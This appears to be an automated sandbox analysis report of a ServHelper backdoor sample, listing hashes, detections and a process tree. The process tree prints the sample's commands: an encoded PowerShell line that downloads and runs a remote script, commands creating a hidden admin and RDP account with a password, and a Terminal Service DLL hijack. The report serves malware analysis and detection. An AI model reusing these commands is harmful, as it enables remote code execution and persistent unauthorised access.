Analysis
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max time kernel
138s -
max time network
132s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
19-08-2021 15:14
Static task
static1
Behavioral task
behavioral1
Sample
87dd0632a95ca24443f8c6363bc055e6.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
87dd0632a95ca24443f8c6363bc055e6.exe
Resource
win10v20210410
General
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Target
87dd0632a95ca24443f8c6363bc055e6.exe
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Size
5.9MB
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MD5
87dd0632a95ca24443f8c6363bc055e6
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SHA1
423785b67d20f4f5056ff6d9e34fda3c72a03bd4
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SHA256
266562d82899806c0eafc3ca72216e78d41403dd24effebd31d7635922ba96ce
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SHA512
c51d180cca074540f5ca9186e60509cfdb1c7e1a8651e691eac585df9f8352e256cedb86a4a340e0e8f5b1ed6d73ff270d92424259539c0c4c02a7048f2a75e2
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
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ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
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suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata: ET MALWARE ServHelper CnC Inital Checkin
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Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 12 1752 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
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Possible privilege escalation attempt 8 IoCs
Processes:
icacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exepid process 824 icacls.exe 364 icacls.exe 960 icacls.exe 1376 icacls.exe 1516 takeown.exe 904 icacls.exe 644 icacls.exe 1604 icacls.exe -
Sets DLL path for service in the registry 2 TTPs
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Processes:
resource yara_rule \Windows\Branding\mediasrv.png upx \Windows\Branding\mediasvc.png upx -
Loads dropped DLL 2 IoCs
Processes:
pid process 1016 1016 -
Modifies file permissions 1 TTPs 8 IoCs
Processes:
icacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exepid process 364 icacls.exe 960 icacls.exe 1376 icacls.exe 1516 takeown.exe 904 icacls.exe 644 icacls.exe 1604 icacls.exe 824 icacls.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 21 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FCGDYBP3P2O5EVG7FPK8.temp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4884c06f-f792-44d5-9f35-bbf0d83e06fd powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fa7b0c85-bf26-4e27-9e2b-942fa274b60d powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1a8e7c00-aef7-439f-a16c-d40a699b7b46 powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ae316f8f-95a5-4a14-b2be-b3e64b1312fd powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7f95aa64-fd9d-4c33-aef7-3c0aa6dcf107 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ea306686-8ac0-419f-9967-f1dc49bf9f89 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_556ca3a1-6e16-4e1a-877b-4d0bc6407079 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_df121702-cad1-42e2-9715-4c5481fa3218 powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a2eeae00-a174-4bf7-91fb-8a8560b46c78 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e8fc0f4c-cd0b-418b-87b0-e6b268670510 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_deac0eb6-4faf-4f74-a410-b51d4c94ca90 powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
Processes:
powershell.exeWMIC.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a04dce3b1d95d701 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Modifies registry key 1 TTPs 1 IoCs
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Processes:
87dd0632a95ca24443f8c6363bc055e6.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 87dd0632a95ca24443f8c6363bc055e6.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 87dd0632a95ca24443f8c6363bc055e6.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 13 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 1012 powershell.exe 1012 powershell.exe 1896 powershell.exe 1896 powershell.exe 1788 powershell.exe 1788 powershell.exe 1168 powershell.exe 1168 powershell.exe 1012 powershell.exe 1012 powershell.exe 1012 powershell.exe 1752 powershell.exe 1752 powershell.exe -
Suspicious behavior: LoadsDriver 5 IoCs
Processes:
pid process 468 1016 1016 1016 1016 -
Suspicious use of AdjustPrivilegeToken 19 IoCs
Processes:
87dd0632a95ca24443f8c6363bc055e6.exepowershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exedescription pid process Token: SeDebugPrivilege 1684 87dd0632a95ca24443f8c6363bc055e6.exe Token: SeDebugPrivilege 1012 powershell.exe Token: SeDebugPrivilege 1896 powershell.exe Token: SeDebugPrivilege 1788 powershell.exe Token: SeDebugPrivilege 1168 powershell.exe Token: SeRestorePrivilege 644 icacls.exe Token: SeAssignPrimaryTokenPrivilege 1796 WMIC.exe Token: SeIncreaseQuotaPrivilege 1796 WMIC.exe Token: SeAuditPrivilege 1796 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1796 WMIC.exe Token: SeIncreaseQuotaPrivilege 1796 WMIC.exe Token: SeAuditPrivilege 1796 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1568 WMIC.exe Token: SeIncreaseQuotaPrivilege 1568 WMIC.exe Token: SeAuditPrivilege 1568 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1568 WMIC.exe Token: SeIncreaseQuotaPrivilege 1568 WMIC.exe Token: SeAuditPrivilege 1568 WMIC.exe Token: SeDebugPrivilege 1752 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
87dd0632a95ca24443f8c6363bc055e6.exepowershell.execsc.exenet.execmd.execmd.exedescription pid process target process PID 1684 wrote to memory of 1012 1684 87dd0632a95ca24443f8c6363bc055e6.exe powershell.exe PID 1684 wrote to memory of 1012 1684 87dd0632a95ca24443f8c6363bc055e6.exe powershell.exe PID 1684 wrote to memory of 1012 1684 87dd0632a95ca24443f8c6363bc055e6.exe powershell.exe PID 1012 wrote to memory of 548 1012 powershell.exe csc.exe PID 1012 wrote to memory of 548 1012 powershell.exe csc.exe PID 1012 wrote to memory of 548 1012 powershell.exe csc.exe PID 548 wrote to memory of 940 548 csc.exe cvtres.exe PID 548 wrote to memory of 940 548 csc.exe cvtres.exe PID 548 wrote to memory of 940 548 csc.exe cvtres.exe PID 1012 wrote to memory of 1896 1012 powershell.exe powershell.exe PID 1012 wrote to memory of 1896 1012 powershell.exe powershell.exe PID 1012 wrote to memory of 1896 1012 powershell.exe powershell.exe PID 1012 wrote to memory of 1788 1012 powershell.exe powershell.exe PID 1012 wrote to memory of 1788 1012 powershell.exe powershell.exe PID 1012 wrote to memory of 1788 1012 powershell.exe powershell.exe PID 1012 wrote to memory of 1168 1012 powershell.exe powershell.exe PID 1012 wrote to memory of 1168 1012 powershell.exe powershell.exe PID 1012 wrote to memory of 1168 1012 powershell.exe powershell.exe PID 1012 wrote to memory of 1516 1012 powershell.exe takeown.exe PID 1012 wrote to memory of 1516 1012 powershell.exe takeown.exe PID 1012 wrote to memory of 1516 1012 powershell.exe takeown.exe PID 1012 wrote to memory of 904 1012 powershell.exe icacls.exe PID 1012 wrote to memory of 904 1012 powershell.exe icacls.exe PID 1012 wrote to memory of 904 1012 powershell.exe icacls.exe PID 1012 wrote to memory of 644 1012 powershell.exe icacls.exe PID 1012 wrote to memory of 644 1012 powershell.exe icacls.exe PID 1012 wrote to memory of 644 1012 powershell.exe icacls.exe PID 1012 wrote to memory of 1604 1012 powershell.exe icacls.exe PID 1012 wrote to memory of 1604 1012 powershell.exe icacls.exe PID 1012 wrote to memory of 1604 1012 powershell.exe icacls.exe PID 1012 wrote to memory of 824 1012 powershell.exe icacls.exe PID 1012 wrote to memory of 824 1012 powershell.exe icacls.exe PID 1012 wrote to memory of 824 1012 powershell.exe icacls.exe PID 1012 wrote to memory of 364 1012 powershell.exe icacls.exe PID 1012 wrote to memory of 364 1012 powershell.exe icacls.exe PID 1012 wrote to memory of 364 1012 powershell.exe icacls.exe PID 1012 wrote to memory of 960 1012 powershell.exe icacls.exe PID 1012 wrote to memory of 960 1012 powershell.exe icacls.exe PID 1012 wrote to memory of 960 1012 powershell.exe icacls.exe PID 1012 wrote to memory of 1376 1012 powershell.exe icacls.exe PID 1012 wrote to memory of 1376 1012 powershell.exe icacls.exe PID 1012 wrote to memory of 1376 1012 powershell.exe icacls.exe PID 1012 wrote to memory of 1628 1012 powershell.exe reg.exe PID 1012 wrote to memory of 1628 1012 powershell.exe reg.exe PID 1012 wrote to memory of 1628 1012 powershell.exe reg.exe PID 1012 wrote to memory of 1664 1012 powershell.exe reg.exe PID 1012 wrote to memory of 1664 1012 powershell.exe reg.exe PID 1012 wrote to memory of 1664 1012 powershell.exe reg.exe PID 1012 wrote to memory of 1424 1012 powershell.exe reg.exe PID 1012 wrote to memory of 1424 1012 powershell.exe reg.exe PID 1012 wrote to memory of 1424 1012 powershell.exe reg.exe PID 1012 wrote to memory of 2008 1012 powershell.exe net.exe PID 1012 wrote to memory of 2008 1012 powershell.exe net.exe PID 1012 wrote to memory of 2008 1012 powershell.exe net.exe PID 2008 wrote to memory of 1076 2008 net.exe net1.exe PID 2008 wrote to memory of 1076 2008 net.exe net1.exe PID 2008 wrote to memory of 1076 2008 net.exe net1.exe PID 1012 wrote to memory of 936 1012 powershell.exe cmd.exe PID 1012 wrote to memory of 936 1012 powershell.exe cmd.exe PID 1012 wrote to memory of 936 1012 powershell.exe cmd.exe PID 936 wrote to memory of 108 936 cmd.exe cmd.exe PID 936 wrote to memory of 108 936 cmd.exe cmd.exe PID 936 wrote to memory of 108 936 cmd.exe cmd.exe PID 108 wrote to memory of 1988 108 cmd.exe net.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\87dd0632a95ca24443f8c6363bc055e6.exe"C:\Users\Admin\AppData\Local\Temp\87dd0632a95ca24443f8c6363bc055e6.exe"1⤵
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1684 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1012 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zzjs31uw\zzjs31uw.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:548 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB358.tmp" "c:\Users\Admin\AppData\Local\Temp\zzjs31uw\CSC6D06B0D9C4F74936A1746A3A2BE5C67C.TMP"4⤵PID:940
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1896 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1788 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1168 -
C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1516 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:904 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:644 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1604 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:824 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:364 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:960 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1376 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:1628
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:1664 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:1424
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:2008 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1076
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:936 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:108 -
C:\Windows\system32\net.exenet start rdpdr5⤵PID:1988
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:1316
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:536
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C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:1516
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C:\Windows\system32\net.exenet start TermService5⤵PID:904
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1364
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:1728
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:1776
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵PID:1768
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵PID:1796
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:1568
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc z0vs4iUt /add1⤵PID:1724
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc z0vs4iUt /add2⤵PID:668
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc z0vs4iUt /add3⤵PID:2008
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:1988
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:1964
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:1076
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD1⤵PID:304
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD2⤵PID:1672
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD3⤵PID:740
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:1168
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:1724
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:2044
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc z0vs4iUt1⤵PID:964
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc z0vs4iUt2⤵PID:1988
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc z0vs4iUt3⤵PID:2032
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:1768
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1796
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:1424
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1568
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1636
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:2008
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1752
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_07bd5afe-6ba8-43f4-b44f-f1447bfe471e
MD5d89968acfbd0cd60b51df04860d99896
SHA1b3c29916ccb81ce98f95bbf3aa8a73de16298b29
SHA2561020cc7c929cd5a4e68ccb40353ca76f427df363f0d95e456eb79db039bdb2b9
SHA512b0e886cce598371b59131fed1535e220c798691bad93ef9474ba440066f5a6bd77a60966604b7a5ff6298b2e200c9dd0c8f9f04aff208b2af423480ead4e8842
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_113ac20d-7ce7-4db7-a273-596fc12e50c2
MD52d5cd190b5db0620cd62e3cd6ba1dcd3
SHA1ff4f229f4fbacccdf11d98c04ba756bda80aac7a
SHA256ab9aee31b3411bcc5a5fb51e9375777cca79cfb3a532d93ddd98a5673c60571d
SHA512edb2a46f3ee33b48f8fe0b548c1e7940978d0e4ac90d5090807d8b5c8b1320217e5d66990b1d0a85546acbbaf9b601590d35de87de234da8eafd60d12fdce610
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_455c8c5f-0af4-4852-8d97-7bb1d81204c9
MD56f0d509e28be1af95ba237d4f43adab4
SHA1c665febe79e435843553bee86a6cea731ce6c5e4
SHA256f545be30e70cd6e1b70e98239219735f6b61c25712720bb1e1738f02be900e7e
SHA5128dbadc140fd18eb16e2a282e3a0a895299b124850e7b9454a3f24e1cc1c090c5bebfbff5062e8807369e84ed7359e0854722cfd45b9a63681f9fea8c97fab797
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_911a19ff-a288-496e-a356-cd42aaefe00f
MD5a70ee38af4bb2b5ed3eeb7cbd1a12fa3
SHA181dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9
SHA256dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d
SHA5128c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9fa74b05-35b9-45e1-9df0-9964d04156f6
MD5faa37917b36371249ac9fcf93317bf97
SHA1a0f0d84d58ee518d33a69f5f1c343aa921c8ffd4
SHA256b92f1a891dbe4152a1f834774cc83378d8b4cffb7e344a813219d74ec4084132
SHA512614d3692e5be7554a72a38af408458254af271eaf6855f322ae07aaa647b1478c7ad13027285c8d9999db3739d65ac85ecfdf3e56acca8484083aa0e31de2198
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9fe3e822-ec27-46b9-afce-ff042e7fc551
MD5e5b3ba61c3cf07deda462c9b27eb4166
SHA1b324dad73048be6e27467315f82b7a5c1438a1f9
SHA256b84fae85b6203a0c8c9db3ba3c050c97d6700e5c9ae27dd31c103ec1bbb02925
SHA512a5936a098db2e8c0d0231fd97d73cc996ad99897fd64f0e5c6761c44b8eb2db2bff477843d326503e6027c1113da0e8e35f4227195a3cf505c5a374ebe0f67fc
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_efac5f2d-4ae8-42d8-af29-510b9a3fb12c
MD57f79b990cb5ed648f9e583fe35527aa7
SHA171b177b48c8bd745ef02c2affad79ca222da7c33
SHA256080ec69d3f2abac629a0bdc314f150ad42a9a1b0a031b1d5c7b5b80051c48683
